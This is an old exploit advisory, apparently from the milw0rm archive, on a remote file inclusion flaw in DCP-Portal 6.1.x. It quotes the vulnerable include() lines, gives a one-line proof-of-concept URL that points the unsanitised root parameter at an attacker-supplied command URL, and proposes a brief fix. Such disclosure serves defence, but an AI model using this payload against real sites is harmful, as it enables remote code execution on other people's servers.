32 lines
No EOL
729 B
Text
32 lines
No EOL
729 B
Text
-----------------------------------------------------
|
|
Advisory id: FSA:013
|
|
|
|
Author: Federico Fazzi
|
|
Date: 12/06/2006, 9:31
|
|
Sinthesis: DCP-Portal 6.1.x, Remote command execution
|
|
Type: high
|
|
Product: http://www.dcp-portal.org/
|
|
Patch: unavailable
|
|
-----------------------------------------------------
|
|
|
|
|
|
1) Description:
|
|
|
|
Error occured in lib.php, line 4/7:
|
|
|
|
include ("$root/library/lib_nav.php");
|
|
include ("$root/library/lib_mods.php");
|
|
include ("$root/library/lib_admin.php");
|
|
include ("$root/library/lib_3rd.php");
|
|
|
|
variable $root not sanitized (declare).
|
|
|
|
2) Proof of concept:
|
|
|
|
http://example/[dp_path]/library/lib.php?root=[cmd_url]
|
|
|
|
3) Solution:
|
|
|
|
declare $root variable on this file.
|
|
|
|
# milw0rm.com [2006-06-12] |